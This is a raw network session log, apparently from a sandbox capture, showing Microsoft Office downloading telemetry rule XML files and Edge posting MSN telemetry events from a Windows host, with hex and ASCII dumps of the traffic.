2024-11-20 13:43:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134352Z-185f5d8b95cwtv72hC1NYC141w0000000a6g00000000etxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:52 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:52 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134352Z-1777c6cb754xjpthhC1TEBexs800000009eg00000000fewf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134353Z-185f5d8b95c68cvnhC1NYCfn7s0000000a8g00000000gr0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49936	20.189.173.8	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110230105&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5245 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; msnup=
2024-11-20 13:43:52 UTC	5245	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 33 3a 34 33 3a 35 30 2e 31 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 61 31 37 37 64 63 37 2d 37 61 63 63 2d 34 38 34 65 2d 39 66 30 30 2d 65 33 30 35 65 65 34 39 38 33 30 30 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 34 30 34 30 35 32 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T13:43:50.104Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"4a177dc7-7acc-484e-9f00-e305ee498300","epoch":"3440405234"},"app":{"locale
2024-11-20 13:43:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=0745191107924a3cb253eeff57ce8a85&HASH=0745&LV=202411&V=4&LU=1732110233191; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 13:43:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1c013ce0556549e48fbda814b2e41e8c; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 14:13:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3086 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 13:43:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49937	20.189.173.8	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:53 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110230144&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9595 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; msnup=
2024-11-20 13:43:53 UTC	9595	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 33 3a 34 33 3a 35 30 2e 31 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 61 31 37 37 64 63 37 2d 37 61 63 63 2d 34 38 34 65 2d 39 66 30 30 2d 65 33 30 35 65 65 34 39 38 33 30 30 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 34 30 34 30 35 32 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T13:43:50.143Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"4a177dc7-7acc-484e-9f00-e305ee498300","epoch":"3440405234"},"app":{"loc
2024-11-20 13:43:54 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=24e7b28d7c7c4cd1b023f47825632a64&HASH=24e7&LV=202411&V=4&LU=1732110234065; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 13:43:54 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fe6a6747fd8a486595b4805163c4d813; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 14:13:54 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3921 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 13:43:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134354Z-r1d97b99577ndm4rhC1TEBf0ps00000008yg00000000fz1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134354Z-r1d97b99577d6qrbhC1TEBux5s000000094g000000002m3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:54 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8508ba6c-501e-000a-071c-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134354Z-r1d97b9957744xz5hC1TEB5bf800000008s000000000esph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134355Z-185f5d8b95cf7qddhC1NYC66an0000000ad0000000009tek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:55 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134355Z-185f5d8b95cmd8vfhC1NYC0g40000000062000000000qgfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:56 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134356Z-1777c6cb754ww792hC1TEBzqu400000009g000000000chxu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
